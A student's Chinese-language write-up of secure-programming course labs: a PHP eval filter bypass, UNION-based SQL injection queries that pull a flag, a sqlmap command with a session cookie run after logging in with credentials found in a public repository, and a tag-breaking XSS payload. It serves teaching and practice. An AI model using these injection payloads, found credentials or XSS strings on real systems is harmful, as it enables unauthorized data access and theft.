---
# System prepended metadata

title: HW 0x07 Write Up
tags: [Course, CS, NCTU, SecureProgramming]

---

###### tags: `NCTU` `CS` `Course` `SecureProgramming`

HW 0x07 Write Up
==
yysung

## [Lab 7-1] Sushi-revenge

題目是將 GET 中 🍣 帶的陣列 sort 後轉成 ascii 字串，再檢查 regex 和有無出現特定字元
檢查成功後再用 eval 執行字串

chr() 在輸入大於 255 的數字進入後會先模 256 再轉成 ascii 字元

所以在要輸入的字元字串每個值都加 256 * idx 就可以繞過 sort

接下來可以使用 `echo(``)` 來產生指令

如果指令中有 waf 內有的字元，可以直接用 waf 陣列來替代
Ex. l 可以使用 $waf[4] 來替代

接下來只要執行

```
ls /
cat /f*
```

就可以拿到 flag 了

## [Lab 7-2] EasyPeasy

`http://kaibro.tw:9527/news.php?id=` 可以 sql injection

`id=-1 union select` 可以執行 select sql 指令

使用 `id=-1 union select 1,2,3` 發現需要填 3 個值

使用 
```
id=-1 union select 1,schema_name,3 from information_schema.schemata limit 1,1
```
找到資料庫名 fl4g

使用 
```
id=-1 union select 1,table_name,3 from information_schema.tables where table_schema='fl4g' limit 1,1
```
找到表名 secret

使用
```
id=-1 union select 1,column_name,3 from information_schema.columns where table_name='secret' limit 1,1
```
找到欄位名 THIS_IS_FLAG_YO

使用
```
id=-1 union select 1,THIS_IS_FLAG_YO,3 from fl4g.secret
```
就可以拿到 flag 了

## [HW 0x07] cei8a

在 google 搜尋 cei8a 可以看到叫做 cei8a 的 github repo

在 config.php 裡有帳號密碼

登入後發現只有 `http://edu.kaibro.tw:9487/teacher.php?op=s2&td=1` 的 td 可以 sql injection

所以用 sqlmap 掃 injection 方法

```
sqlmap -u "http://edu.kaibro.tw:9487/teacher.php?op=s2&td=1" --cookie "PHPSESSID=p871jfq729r8h51ohteoradeh7"
```

找到後就可以放入 sql 指令來找 sql server 的內容

select current_database() => cei8a

select current_schema() => public

select table_name from information_schema.tables where table_schema='public' => teacher

select column_name from information_schema.columns where table_name='teacher' offset 5 limit 1 => passwd

select passwd from cei8a.public.teacher limit 1 => flag

## [HW 0x07] XSS Kitchen

`"</xmp></style></title></script>--><script>alert()</script>`


黃金開口笑 無
真鯛大陸圖 無
炸鳳尾蝦 </script>
轉生春卷 </script>
寶山飛龍鍋 </script>
昇龍餃子 "</script>
鎮魂饅 </title>
彈跳甲魚湯 \</style>
五味一體 -->
鳳凰水晶 </xmp>